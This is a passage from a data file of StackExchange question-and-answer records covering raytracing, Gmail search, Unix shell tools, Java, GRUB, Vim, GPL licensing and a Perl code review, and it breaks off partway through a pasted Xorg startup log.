"raytracing;3d;occlusion" , "accepted_answer": "Given that I didn't miss anything, you can probably cut this down to a problem in the 2D space. Viewing onto the plane defined by the center points of the spheres and your camera origin, the scene looks like this:The spheres become circles with the center points $C_1$ and $C_2$, and the intersection circle is now only 2 points with only the closer one $P$ being interesting. The camera/eye is arbitrarily set to the point $E$.Calculating if one point on the spheres is visible or not is easy: Simply check whether or not the angles at point $P$ between $E$ and $C_1$ respectively $E$ and $C_2$ are both greater (or equal to) 90 degree1.If $P$ is visible, some part (e.g. at least that point) of the intersection circle is visible. Otherwise the whole intersection circle must be occluded by one of your spheres, namely the one which creates an angle of less than 90 degree.Here is how it looks if $P$ is not visible from $E$:You can clearly see how that point is occluded by the circle around $C_2$ and that the angle between $E$ and $C_2$ in $P$ is less than 90 degree.1 Having an angle of exactly 90 degree means that the line between $E$ and $P$ just touches the respective circle/sphere in point $P$ as a tangent." } { "id": "_webapps.62881" , "question": "How can I exclude a given label from a search, effectively finding all the email that do not have that label applied? I've searched Google, SuperUser, and the Gmail Advanced search support page to no avail.Here are the searches I've tried, none of which work:!label:workNOT label:worknot label:work-label:workThe reason this may not be a duplicate: After some more experimentation it seems that the - operator would work, except that it doesn't exclude entire conversations if any one message in the conversation has the label. I need my search to exclude any conversation in which one or more messages has the specified label.How can I achieve this behavior?Per Gianni Di Noia's advice, I tried making a filter that matches emails labeled work and then re-applies the label work. Unfortunately, after some testing with another email account I have I found that this does not work because it is never triggered. Filters are triggered based on the properties of the incoming email, not on the conversation to which Gmail assigns that email. Google warned me of this even before I did my testing:" , "title": "Exclude label from a Gmail search?" , "tags": "gmail;gmail labels;gmail search" } { "id": "_unix.317115" , "question": "When copying drives on a raid, I used the following command from within each drive I am copying from:find . -print -depth | cpio -pdm /dbb0where dbb0 is the new directory that I want. From some directories this works, on others it hangs permanently. The permissions on all drives seem to be fine, I am having trouble figuring out what could theoretically cause this." , "title": "cpio sometimes hangs up" , "tags": "command line;find;cpio" } { "id": "_unix.279876" , "question": "My question is from Delimiter in word splittingWhy does Bash not respond when I hit Tab key?What other keys does Bash eat?" , "title": "Why does bash's readline eat tab?" , "tags": "bash" } { "id": "_webapps.69571" , "question": "I would like to change ownership of a shared Google Calendar that is embedded on our website, however nobody knows who owns the Calendar. How can we determine the owner knowing just the HTML embed code?" , "title": "How to determine the owner of an embedded Google Calendar?" , "tags": "google calendar" } { "id": "_unix.45470" , "question": "I am trying to set the Java system property jsse.enableSNIExtension to false, but when I try running this java just outputs help information:java -Djsse.enableSNIExtension=false What am I doing wrong?" , "title": "How to set jsse.enableSNIExtension to false when running Java programs?" , "tags": "java" , "accepted_answer": "You forgot the name of the class to run. Normally Java programs are run like this:$ java MainClass$ java -jar foobar.jarYou can use -D to set system properties, but you still need the class or JAR to run:$ java -Djsse.enableSNIExtension=false MainClass$ java -Djsse.enableSNIExtension=false -jar foobar.jarAs far as I know you can't set system properties permanently; even if you did it programmatically it would only be for that run, so you need to keep passing the -D flag each time you run whatever it is that's not working" } { "id": "_webapps.71265" , "question": "I signed up for Instagram and it said I already had an account with that email address. I didn't remember signing up but thought maybe I had done it a while ago. I reset my password and logged in.It turned out someone else had signed up using my Gmail address. They had like 2 or 3 pictures posted. I wasn't really sure what to do, since it was my email address they used (its a @gmail.com - I get a decent amount of email for people with my name).The problem is that they linked their Facebook account to Instagram. I also linked my Facebook account. I get notifications of my Facebook friends joining Instagram but it's this other person's Facebook account. In the Instagram app it only shows my Facebook as a linked account. How can I get this other Facebook account detached from my Instagram account?" , "title": "How do you disconnect Facebook accounts from Instagram?" , "tags": "facebook;instagram" } { "id": "_softwareengineering.234747" , "question": "I'm trying to understand how the Dependency Inversion Principle differs from the program to an interface, not an implementation principle.I understand what Program to an interface, not an implementation means. I also understand how it allows for more flexible and maintainable designs.But I don't understand how the Dependency Inversion Principle is different from the Program to an interface, not an implementation principle.I read about DIP in several places on the web, and it didn't clear up my confusion. I still don't see how the two principles differ from each other. Thanks for your help." , "title": "Dependency Inversion Principle vs Program to an interface, not an implementation" , "tags": "design;object oriented;principles" } { "id": "_softwareengineering.312132" , "question": "I'm implementing the view transformation part of a graphics pipeline (basically a matrix which translates coordinates from world coordinates to camera coordinates given a camera position and direction).Other than the simple case where the point has the same coordinates if the camera is at [0, 0, 0] pointing towards [0, 0, 1] I can't seem to come up with any obvious test cases. Essentially it seems like there's no way of describing what should happen other than the implementation itself.Any ideas?" , "title": "How do you write unit tests when you need the implementation to come up with examples?" , "tags": "graphics" } { "id": "_unix.1578" , "question": "I'd like to edit the Grub menu that comes up, to move one line and remove others.I have an Inspiron 1420 that came with Ubuntu 7.10. When it needed a new drive, I installed Windows 7, the original OS, and then it seemed that 10.04 wanted its own partition. I probably should have checked exactly what I was doing first (famous last words).What I'd like to do is remove the 7.10 lines entirely, so I can blow away everything in that partition and use it as /home for 10.04. I'd also like to move the Windows 7 line up to second from the top, so booting in Windows would be a quick two keystrokes rather than following the line all the way down. Hitting the Grub edit key came up with unclear instructions, and since this is the boot loader I'd kind of rather not screw it up too bad.So, what's the best way to do this?" , "title": "Editing grub menu" , "tags": "ubuntu;grub2;grub legacy;boot menu" } { "id": "_unix.370559" , "question": "I am trying to create a device that accept input and generate special output. To make it simple, say I want to create a device which accepts any input (like /dev/zero) and writes 00 ff 00 ff 00 ff ... whenever read by another program. Is it possible and easy to be achieved in C or in Python? " , "title": "How to create a device file and simulate behaviors of the Pseudo-devices?" , "tags": "python;devices;c" } { "id": "_vi.8852" , "question": "In insert mode, when you hit ctrlp on a partially written word, a menu pops up with possible matches for completion.How can I customize those matches ?(I have a ruby-clangc gem that I want to use with the ruby-neovim gem in order to write my completion plugin for C/C++ code)" , "title": "How to customize the entries in the completion menu?" , "tags": "vimscript;vimrc;autocompletion;neovim" , "accepted_answer": "About ctrlp, the doc says:Find previous match for words that start with the keyword in front of the cursor, looking in places specified with the 'complete' option. The found keyword is inserted in front of the cursor.You can then look at :h'complete'to learn how to modify the behavior of the completion.You'll see that you have several options to make the search of the matchrestricted to the current buffer, using the other loaded buffers or even lookingfor the spell dictionaries.To modify the setting simply add a line like this in your .vimrc:set complete=.,w,b,uNow for your completion plugin what you are looking for is a custom comlete function. Vims allows you to write such a function, for more information you should refer this question and to the doc::h complete-functions:h 'completefunc'I think you might also be interested in reading :h ins-completion which explains how the different completion modes of Vim works. (There are about ten different completion modes used to complete different items, learning them can be long but it should make your completion pretty efficient in the end)" } { "id": "_softwareengineering.280765" , "question": "There are three software projects: A, B and C.A is published to anyone and is licensed under GPL.B extends A, is published too, but has no license information or is mistakenly licensed under LGPL. Basically it violates the license of A by not being GPL. Source code of B is still available.C extends B. Can C be published under GPL? Motivation would be A is GPL, any derivative must be GPL too, so B is GPL and C can be GPL too." , "title": "Can GPL be implied to a derivative work?" , "tags": "licensing;open source;gpl" , "accepted_answer": "First off, B is in violation of the GPL on A. But that's not exactly your concern and is irrelevant to the question here (who knows, maybe B got a LGPL license from A on their code so that it may be released under LGPL?).The question is Can you build a GPL piece of software based on LGPL code? The answer to this is simply yes.The LGPL is less restrictive than the GPL (thus why B is in violation of the license on A unless other provisions were made), but also allows it to be brought back into a GPL project fairly easily.From the LGPL license:Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following:a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document.Its part of the license. You can easily build a GPL software based on LGPL code.There are some version differences that you'll have to pay attention to to make sure that the code is licensed in the correct way, under the correct version of the GPL.In the event that there is no license information presented, you do not have the right to extend upon it. B should not have been distributed, but its contributions are not licensed under an open source license. This may have been an internal project that got published or some other event.It is not presented under a license that is compatible with extending with the GPL. Consider the situation that a company, using GPL software internally (acceptable - not a violation), mistakingly made their repo public.In this case, it is quite possible that the project C is in violation of copyright infringement itself (the material that B added that is not licensed under the GPL as it should not have been distributed in the first place).One cannot force a license on someone else's source. It is either in compliance with the license, or in violation of it. If it is in violation of it, then as spelled out in the license:You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).A violation of the GPL does not mean that the material is under GPL, but rather that it can't be distributed." } { "id": "_cogsci.17419" , "question": "Age is a risk factor for depression when we look at the entire lifespan. Does that hold true in a population of >60 years old?" , "title": "Does risk of developing depression continue to increase after age 60?" , "tags": "clinical psychology;depression" } { "id": "_unix.382993" , "question": "I have a program that writes to stdout in a batch of text very quickly, but the output doesn't have a specific output that I can write an expect loop for. Example of stdout of my program:[time:here] random text 1[time:here] random text 2[time:here] random text 3[time:here] random text 4[time:here] random text 5[time:here] random text 6[time:here] random text 7Then it waits until I interact with it, and then it writes to stdout again with the same style of text:[time:here] random text 8[time:here] random text 9[time:here] random text 10[time:here] random text 11[time:here] random text 12[time:here] random text 13[time:here] random text 14The stdout is printed very fast, like within milliseconds, and then there's a wait until I interact with it. Once I interact stdout is written again very quick, and it waits. This repeats until I close the program.Between the waits I want to send a command to write to another file what time I interacted with the program at (using echo or something similar).Is there any way I can target the wait and do the echo command after every time there's a wait for my stdout? For example if there's a wait for > than 5 seconds then run the echo command, and wait for stdout to change again?" , "title": "Run a command based on stdout frequency" , "tags": "bash;shell script;shell;expect" , "accepted_answer": "You could use a blocking read with a timeout to determine when output has stopped. For example, Bash's read supports a timeout parameter. The following script will write a single line if the output from STDIN stops for more than 2 seconds:#!/bin/shwhile read -r firstline; do while read -r -t 2 line; do continue done echo ---- No data in 2 seconds ----doneThe echo could be re-directed to a different log and the script can be modified to echo the data being read from standard in if desired." } { "id": "_codereview.60917" , "question": "I wrote a small perl module that dealing with PHP-ish array structures, and I'm going to release it to CPAN.I want it to be reviewed before the release about the module naming and the code itself.Could you please give me improvements? Any suggestions are appreciated.https://github.com/ernix/p5-Object-Squashuse strict;use warnings;package Object::Squash;# ABSTRACT: Remove numbered keys from a nested objectuse parent 'Exporter';use List::Util qw/max/;use version; our $VERSION = version->declare(v0.0.1);our @EXPORT_OK = qw(squash);sub squash { my $obj = shift; return $obj unless ref $obj; $obj = _squash_hash($obj); $obj = _squash_array($obj); return $obj;}sub _squash_hash { my $obj = shift; return $obj unless ref $obj eq 'HASH'; my @keys = keys %{$obj}; if (grep {/\\D/} @keys) { return +{ map { $_ => squash($obj->{$_}) } @keys, }; } my $max = max(@keys) || 0; my @ar; for my $i (0 .. $max) { push @ar, sub { return (undef) unless exists $obj->{$i}; return squash($obj->{$i}); }->(); } return \\@ar;}sub _squash_array { my $obj = shift; return $obj unless ref $obj eq 'ARRAY'; return (undef) if @{$obj} == 0; $obj = squash($obj->[0]) if @{$obj} == 1; return $obj;}1;__END__=head1 NAMEObject::Squash - Remove numbered keys from a nested object=head1 DESCRIPTIONThis package provides B<squash> subroutine to simplify hash/array structures.I sometimes want to walk through a data structure that consists only of a bunchof nested hashes, even if some of them should be treated as arrays or singlevalues. This module removes numbered keys from a hash.=head1 SYNOPSIS=head2 C<squash> use Object::Squash qw(squash); my $hash = squash(+{ foo => +{ '0' => 'nested', '1' => 'numbered', '2' => 'hash', '3' => 'structures', }, bar => +{ '0' => 'obviously a single value', }, });$hash now turns to: +{ foo => [ 'nested', 'numbered', 'hash', 'structures', ], bar => 'obviously a single value', };=head1 AUTHORShin Kojima <shin@kojima.org>=head1 LICENSEThis program is free software; you can redistribute it and/ormodify it under the same terms as Perl itself." , "title": "Perl module to deal with numbered nested objects" , "tags": "perl" , "accepted_answer": "Just a few remarks about parts which poke the eye, push @ar, sub { return (undef) unless exists $obj->{$i}; return squash($obj->{$i}); }->();introduces unnecessary subroutine call/overhead which can be replaced with do {} block, or even simpler, push @ar, exists $obj->{$i} ? squash($obj->{$i}) : undef;This one is only matter of taste, soreturn $obj unless ref $obj eq 'HASH';could also be written asreturn $obj if ref $obj ne 'HASH';Usually you don't have to explicitly return undef, as in list context you may end up with list one element long, and that might not be what is intended. Instead just return; or return (); will produce empty list, or undef in scalar context. Soreturn (undef) if @{$obj} == 0;could be better asreturn () if @{$obj} == 0;or perhaps,@$obj or return;" } { "id": "_webapps.104887" , "question": "I have two project spaces that have similarly-structured applications. I would like to copy the reports from my old project space over to my new project space so that I can adapt them for use in my new project." , "title": "Is it possible to copy CommCare reports from one project space to another?" , "tags": "commcare" } { "id": "_unix.323439" , "question": "Yesterday, my xorg was working but it was using integrated graphics. I tried to get nvidia working. Now, when I run startx, I get a screen on tty3 which shows the output of the last tty I was in. For example, I hit ctrl+alt+f1, type startx and am moved to tty3 where I get a black screen with a solid cursor. If I go back to tty0 I can see the output of startx which shows no errors (besides minor gtk css warning) and a blinking cursor. When I go back to tty3, I see the same thing with a solid cursor.Info:uname -a:Linux Hermes 4.8.7-1-ARCH #1 SMP PREEMPT Mon Nov 15 10:14:30 CET 2016 x86_64 GNU/Linux.xinitrc:if [ -d /etc/X11/xinit/xinitrc.d ] ; then for f in /etc/X11/xinit/xinitrc.d/?*.sh ; do [ -x $f ] && . $f done unset fficonky &exec startxfce4/var/log/Xorg.0.log:[ 1743.684] X.Org X Server 1.18.4Release Date: 2016-07-19[ 1743.684] X Protocol Version 11, Revision 0[ 1743.684] Build Operating System: Linux 4.5.4-1-ARCH x86_64 [ 1743.684] Current Operating System: Linux Hermes 4.8.7-1-ARCH #1 SMP PREEMPT Thu Nov 10 17:22:48 CET 2016 x86_64[ 1743.684] Kernel command line: \\vmlinuz-linux ro root=UUID=1d746b96-3184-49ac-a204-0f9deda59c87 pci=nomsi initrd=\\initramfs-linux.img[ 1743.684] Build Date: 19 July 2016 05:54:24PM[ 1743.684] [ 1743.684] Current version of pixman: 0.34.0[ 1743.684] Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.[ 1743.684] Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown.[ 1743.684] (==) Log file: /var/log/Xorg.0.log, Time: Tue Nov 15 10:24:19 2016[ 1743.684] (==) Using config file: /etc/X11/xorg.conf[ 1743.684] (==) Using system config directory /usr/share/X11/xorg.conf.d[ 1743.684] (==) ServerLayout Layout0[ 1743.684] (**) |-->Screen Screen0 (0)[ 1743.684] (**) | |-->Monitor <default monitor>[ 1743.684] (==) No device specified for screen Screen0. Using the first device section listed.[ 1743.684] (**) | |-->Device DiscreteNvidia[ 1743.684] (==) No monitor specified for screen Screen0. Using a default monitor configuration.[ 1743.684] (**) |-->Input Device Keyboard0[ 1743.684] (**) |-->Input Device Mouse0[ 1743.684] (==) Automatically adding devices[ 1743.684] (==) Automatically enabling devices[ 1743.684] (==) Automatically adding GPU devices[ 1743.684] (==) Max clients allowed: 256, resource mask: 0x1fffff[ 1743.684] (WW) The directory /usr/share/fonts/Type1/ does not exist.[ 1743.684] Entry deleted from font path.[ 1743.684] (==) FontPath set to: /usr/share/fonts/misc/, /usr/share/fonts/TTF/, /usr/share/fonts/OTF/, /usr/share/fonts/100dpi/, /usr/share/fonts/75dpi/[ 1743.684] (==) ModulePath set to /usr/lib/xorg/modules[ 1743.684] (WW) Hotplugging is on, devices using drivers 'kbd', 'mouse' or 'vmmouse' will be disabled.[ 1743.684] (WW) Disabling Keyboard0[ 1743.684] (WW) Disabling Mouse0[ 1743.684] (II) Loader magic: 0x821d40[ 1743.684] (II) Module ABI versions:[ 1743.684] X.Org ANSI C Emulation: 0.4[ 1743.684] X.Org Video Driver: 20.0[ 1743.684] X.Org XInput driver : 22.1[ 1743.684] X.Org Server Extension : 9.0[ 1743.685] (--) using VT number 7[ 1743.685] (II) systemd-logind: logind integration requires -keeptty and -keeptty was not provided, disabling logind integration[ 1743.686] (II) xfree86: Adding drm device (/dev/dri/card1)[ 1743.686] (II) xfree86: Adding drm device (/dev/dri/card0)[ 1743.704] (--) PCI:*(0:0:2:0) 8086:191b:1462:115a rev 6, Mem @ 0xdd000000/16777216, 0xb0000000/268435456, I/O @ 0x0000f000/64, BIOS @ 0x????????/131072[ 1743.704] (--) PCI: (0:1:0:0) 10de:139b:1462:115a rev 162, Mem @ 0xde000000/16777216, 0xc0000000/268435456, 0xd0000000/33554432, I/O @ 0x0000e000/128, BIOS @ 0x????????/524288[ 1743.704] (WW) Open ACPI failed (/var/run/acpid.socket) (No such file or directory)[ 1743.704] (II) LoadModule: glx[ 1743.705] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so[ 1743.710] (II) Module glx: vendor=NVIDIA Corporation[ 1743.710] compiled for 4.0.2, module version = 1.0.0[ 1743.710] Module class: X.Org Server Extension[ 1743.710] (II) NVIDIA GLX Module 375.10 Fri Oct 14 10:01:22 PDT 2016[ 1743.710] (II) LoadModule: nvidia[ 1743.710] (II) Loading /usr/lib/xorg/modules/drivers/nvidia_drv.so[ 1743.710] (II) Module nvidia: vendor=NVIDIA Corporation[ 1743.710] compiled for 4.0.2, module version = 1.0.0[ 1743.710] Module class: X.Org Video Driver[ 1743.710] (II) NVIDIA dlloader X Driver 375.10 Fri Oct 14 09:38:17 PDT 2016[ 1743.710] (II) NVIDIA Unified Driver for all Supported NVIDIA GPUs[ 1743.739] (II) Loading sub module fb[ 1743.739] (II) LoadModule: fb[ 1743.739] (II) Loading /usr/lib/xorg/modules/libfb.so[ 1743.739] (II) Module fb: vendor=X.Org Foundation[ 1743.739] compiled for 1.18.4, module version = 1.0.0[ 1743.739] ABI class: X.Org ANSI C Emulation, version 0.4[ 1743.739] (II) Loading sub module wfb[ 1743.739] (II) LoadModule: wfb[ 1743.739] (II) Loading /usr/lib/xorg/modules/libwfb.so[ 1743.739] (II) Module wfb: vendor=X.Org Foundation[ 1743.739] compiled for 1.18.4, module version = 1.0.0[ 1743.739] ABI class: X.Org ANSI C Emulation, version 0.4[ 1743.739] (II) Loading sub module ramdac[ 1743.739] (II) LoadModule: ramdac[ 1743.739] (II) Module ramdac already built-in[ 1743.740] (**) NVIDIA(0): Depth 24, (--) framebuffer bpp 32[ 1743.740] (==) NVIDIA(0): RGB weight 888[ 1743.740] (==) NVIDIA(0): Default visual is TrueColor[ 1743.740] (==) NVIDIA(0): Using gamma correction (1.0, 1.0, 1.0)[ 1743.740] (**) NVIDIA(0): Enabling 2D acceleration[ 1744.067] (II) NVIDIA(0): NVIDIA GPU GeForce GTX 960M (GM107-A) at PCI:1:0:0 (GPU-0)[ 1744.067] (--) NVIDIA(0): Memory: 2097152 kBytes[ 1744.067] (--) NVIDIA(0): VideoBIOS: 82.07.94.00.0e[ 1744.067] (II) NVIDIA(0): Detected PCI Express Link width: 16X[ 1744.067] (II) NVIDIA(0): Validated MetaModes:[ 1744.067] (II) NVIDIA(0): NULL[ 1744.067] (II) NVIDIA(0): Virtual screen size determined to be 640 x 480[ 1744.067] (WW) NVIDIA(0): Unable to get display device for DPI computation.[ 1744.067] (==) NVIDIA(0): DPI set to (75, 75); computed from built-in default[ 1744.067] (--) Depth 24 pixmap format is 32 bpp[ 1744.068] (II) NVIDIA: Using 12288.00 MB of virtual memory for indirect memory[ 1744.068] (II) NVIDIA: access.[ 1744.071] (II) NVIDIA(0): ACPI: failed to connect to the ACPI event daemon; the daemon[ 1744.071] (II) NVIDIA(0): may not be running or the AcpidSocketPath X[ 1744.071] (II) NVIDIA(0): configuration option may not be set correctly. When the[ 1744.071] (II) NVIDIA(0): ACPI event daemon is available, the NVIDIA X driver will[ 1744.071] (II) NVIDIA(0): try to use it to receive ACPI event notifications. For[ 1744.071] (II) NVIDIA(0): details, please see the ConnectToAcpid and[ 1744.071] (II) NVIDIA(0): AcpidSocketPath X configuration options in Appendix B: X[ 1744.071] (II) NVIDIA(0): Config Options in the README.[ 1744.088] (II) NVIDIA(0): Built-in logo is bigger than the screen.[ 1744.088] (II) NVIDIA(0): Setting mode NULL[ 1744.092] (==) NVIDIA(0): Disabling shared memory pixmaps[ 1744.092] (==) NVIDIA(0): Backing store enabled[ 1744.092] (==) NVIDIA(0): Silken mouse enabled[ 1744.093] (==) NVIDIA(0): DPMS enabled[ 1744.093] (II) Loading sub module dri2[ 1744.093] (II) LoadModule: dri2[ 1744.093] (II) Module dri2 already built-in[ 1744.093] (II) NVIDIA(0): [DRI2] Setup complete[ 1744.093] (II) NVIDIA(0): [DRI2] VDPAU driver: nvidia[ 1744.093] (--) RandR disabled[ 1744.095] (II) Initializing extension GLX[ 1744.095] (II) Indirect GLX disabled.[ 1744.145] (II) config/udev: Adding input device Power Button (/dev/input/event4)[ 1744.145] (**) Power Button: Applying InputClass evdev keyboard catchall[ 1744.145] (**) Power Button: Applying InputClass libinput keyboard catchall[ 1744.145] (II) LoadModule: libinput[ 1744.145] (II) Loading /usr/lib/xorg/modules/input/libinput_drv.so[ 1744.146] (II) Module libinput: vendor=X.Org Foundation[ 1744.146] compiled for 1.18.4, module version = 0.22.0[ 1744.146] Module class: X.Org XInput Driver[ 1744.146] ABI class: X.Org XInput driver, version 22.1[ 1744.146] (II) Using input driver 'libinput' for 'Power Button'[ 1744.146] (**) Power Button: always reports core events[ 1744.146] (**) Option Device /dev/input/event4[ 1744.146] (**) Option _source server/udev[ 1744.146] (II) input device 'Power Button', /dev/input/event4 is tagged by udev as: Keyboard[ 1744.146] (II) input device 'Power Button', /dev/input/event4 is a keyboard[ 1744.163] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXPWRBN:00/input/input5/event4[ 1744.163] (II) XINPUT: Adding extended input device Power Button (type: KEYBOARD, id 6)[ 1744.163] (II) input device 'Power Button', /dev/input/event4 is tagged by udev as: Keyboard[ 1744.163] (II) input device 'Power Button', /dev/input/event4 is a keyboard[ 1744.163] (II) config/udev: Adding input device Video Bus (/dev/input/event7)[ 1744.163] (**) Video Bus: Applying InputClass evdev keyboard catchall[ 1744.163] (**) Video Bus: Applying InputClass libinput keyboard catchall[ 1744.163] (II) Using input driver 'libinput' for 'Video Bus'[ 1744.163] (**) Video Bus: always reports core events[ 1744.163] (**) Option Device /dev/input/event7[ 1744.163] (**) Option _source server/udev[ 1744.164] (II) input device 'Video Bus', /dev/input/event7 is tagged by udev as: Keyboard[ 1744.164] (II) input device 'Video Bus', /dev/input/event7 is a keyboard[ 1744.186] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/LNXVIDEO:00/input/input9/event7[ 1744.186] (II) XINPUT: Adding extended input device Video Bus (type: KEYBOARD, id 7)[ 1744.187] (II) input device 'Video Bus', /dev/input/event7 is tagged by udev as: Keyboard[ 1744.187] (II) input device 'Video Bus', /dev/input/event7 is a keyboard[ 1744.187] (II) config/udev: Adding input device Video Bus (/dev/input/event8)[ 1744.187] (**) Video Bus: Applying InputClass evdev keyboard catchall[ 1744.187] (**) Video Bus: Applying InputClass libinput keyboard catchall[ 1744.187] (II) Using input driver 'libinput' for 'Video Bus'[ 1744.187] (**) Video Bus: always reports core events[ 1744.187] (**) Option Device /dev/input/event8[ 1744.187] (**) Option _source server/udev[ 1744.188] (II) input device 'Video Bus', /dev/input/event8 is tagged by udev as: Keyboard[ 1744.188] (II) input device 'Video Bus', /dev/input/event8 is a keyboard[ 1744.203] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A08:00/device:12/LNXVIDEO:01/input/input10/event8[ 1744.203] (II) XINPUT: Adding extended input device Video Bus (type: KEYBOARD, id 8)[ 1744.204] (II) input device 'Video Bus', /dev/input/event8 is tagged by udev as: Keyboard[ 1744.204] (II) input device 'Video Bus', /dev/input/event8 is a keyboard[ 1744.205] (II) config/udev: Adding input device Lid Switch (/dev/input/event1)[ 1744.205] (II) No input driver specified, ignoring this device.[ 1744.205] (II) This device may have been added with another device file.[ 1744.205] (II) config/udev: Adding input device Power Button (/dev/input/event3)[ 1744.205] (**) Power Button: Applying InputClass evdev keyboard catchall[ 1744.205] (**) Power Button: Applying InputClass libinput keyboard catchall[ 1744.205] (II) Using input driver 'libinput' for 'Power Button'[ 1744.205] (**) Power Button: always reports core events[ 1744.205] (**) Option Device /dev/input/event3[ 1744.205] (**) Option _source server/udev[ 1744.206] (II) input device 'Power Button', /dev/input/event3 is tagged by udev as: Keyboard[ 1744.206] (II) input device 'Power Button', /dev/input/event3 is a keyboard[ 1744.223] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0C:00/input/input4/event3[ 1744.223] (II) XINPUT: Adding extended input device Power Button (type: KEYBOARD, id 9)[ 1744.224] (II) input device 'Power Button', /dev/input/event3 is tagged by udev as: Keyboard[ 1744.224] (II) input device 'Power Button', /dev/input/event3 is a keyboard[ 1744.224] (II) config/udev: Adding input device Sleep Button (/dev/input/event2)[ 1744.225] (**) Sleep Button: Applying InputClass evdev keyboard catchall[ 1744.225] (**) Sleep Button: Applying InputClass libinput keyboard catchall[ 1744.225] (II) Using input driver 'libinput' for 'Sleep Button'[ 1744.225] (**) Sleep Button: always reports core events[ 1744.225] (**) Option Device /dev/input/event2[ 1744.225] (**) Option _source server/udev[ 1744.225] (II) input device 'Sleep Button', /dev/input/event2 is tagged by udev as: Keyboard[ 1744.225] (II) input device 'Sleep Button', /dev/input/event2 is a keyboard[ 1744.243] (**) Option config_info udev:/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input3/event2[ 1744.243] (II) XINPUT: Adding extended input device Sleep Button (type: KEYBOARD, id 10)[ 1744.244] (II) input device 'Sleep Button', /dev/input/event2 is tagged by udev as: Keyboard[ 1744.244] (II) input device 'Sleep Button', /dev/input/event2 is a keyboard[ 1744.246] (II) config/udev: Adding input device Logitech M325 (/dev/input/event9)[ 1744.246] (**) Logitech M325: Applying InputClass evdev pointer catchall[ 1744.246] (**) Logitech M325: Applying InputClass libinput pointer catchall[ 1744.246] (II) Using input driver 'libinput' for 'Logitech M325'[ 1744.246] (**) Logitech M325: always reports core events[ 1744.246] (**) Option Device /dev/input/event9[ 1744.246] (**) Option _source server/udev[ 1744.246] (II) input device 'Logitech M325', /dev/input/event9 is tagged by udev as: Mouse[ 1744.247] (II) Device 'Logitech M325' set to 600 DPI[ 1744.247] (II) input device 'Logitech M325', /dev/input/event9 is a pointer caps[ 1744.293] (**) Option config_info udev:/sys/devices/pci0000:00/0000:00:14.0/usb1/1-8/1-8:1.2/0003:046D:C52B.0004/0003:046D:400A.0005/input/input11/event9[ 1744.293] (II) XINPUT: Adding extended input device Logitech M325 (type: MOUSE, id 11)[ 1744.293] (**) Option AccelerationScheme none[ 1744.293] (**) Logitech M325: (accel) selected scheme none/0[ 1744.293] (**) Logitech M325: (accel) acceleration factor: 2.000[ 1744.293] (**) Logitech M325: (accel) acceleration threshold: 4[ 1744.294] (II) input device 'Logitech M325', /dev/input/event9 is tagged by udev as: Mouse[ 1744.294] (II) Device 'Logitech M325' set to 600 DPI[ 1744.294] (II) input device 'Logitech M325', /dev/input/event9 is a pointer caps[ 1744.295] (II) config/udev: Adding input device Logitech M325 (/dev/input/mouse0)[ 1744.295] (II) No input driver specified, ignoring this device.[ 1744.295] (II) This device may have been added with another device file.[ 1744.296] (II) config/udev: Adding input device HDA Intel PCH Mic (/dev/input/event11)[ 1744.296] (II) No input driver specified, ignoring this device.[ 1744.296] (II) This device may have been added with another device file.[ 1744.296] (II) config/udev: Adding input device HDA Intel PCH Headphone (/dev/input/event12)[ 1744.296] (II) No input driver specified, ignoring this device.[ 1744.296] (II) This device may have been added with another device file.[ 1744.297] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=3 (/dev/input/event13)[ 1744.297] (II) No input driver specified, ignoring this device.[ 1744.297] (II) This device may have been added with another device file.[ 1744.297] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=7 (/dev/input/event14)[ 1744.297] (II) No input driver specified, ignoring this device.[ 1744.297] (II) This device may have been added with another device file.[ 1744.298] (II) config/udev: Adding input device HDA Intel PCH HDMI/DP,pcm=8 (/dev/input/event15)[ 1744.298] (II) No input driver specified, ignoring this device.[ 1744.298] (II) This device may have been added with another device file.[ 1744.299] (II) config/udev: Adding input device AT Translated Set 2 keyboard (/dev/input/event0)[ 1744.299] (**) AT Translated Set 2 keyboard: Applying InputClass evdev keyboard catchall[ 1744.299] (**) AT Translated Set 2 keyboard: Applying InputClass libinput keyboard catchall[ 1744.299] (II) Using input driver 'libinput' for 'AT Translated Set 2 keyboard'[ 1744.299] (**) AT Translated Set 2 keyboard: always reports core events[ 1744.299] (**) Option Device /dev/input/event0[ 1744.299] (**) Option _source server/udev[ 1744.299] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is tagged by udev as: Keyboard[ 1744.299] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is a keyboard[ 1744.343] (**) Option config_info udev:/sys/devices/platform/i8042/serio0/input/input0/event0[ 1744.343] (II) XINPUT: Adding extended input device AT Translated Set 2 keyboard (type: KEYBOARD, id 12)[ 1744.344] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is tagged by udev as: Keyboard[ 1744.344] (II) input device 'AT Translated Set 2 keyboard', /dev/input/event0 is a keyboard[ 1744.345] (II) config/udev: Adding input device SynPS/2 Synaptics TouchPad (/dev/input/event10)[ 1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass evdev touchpad catchall[ 1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass libinput touchpad catchall[ 1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass touchpad catchall[ 1744.345] (**) SynPS/2 Synaptics TouchPad: Applying InputClass Default clickpad buttons[ 1744.345] (II) LoadModule: synaptics[ 1744.345] (II) 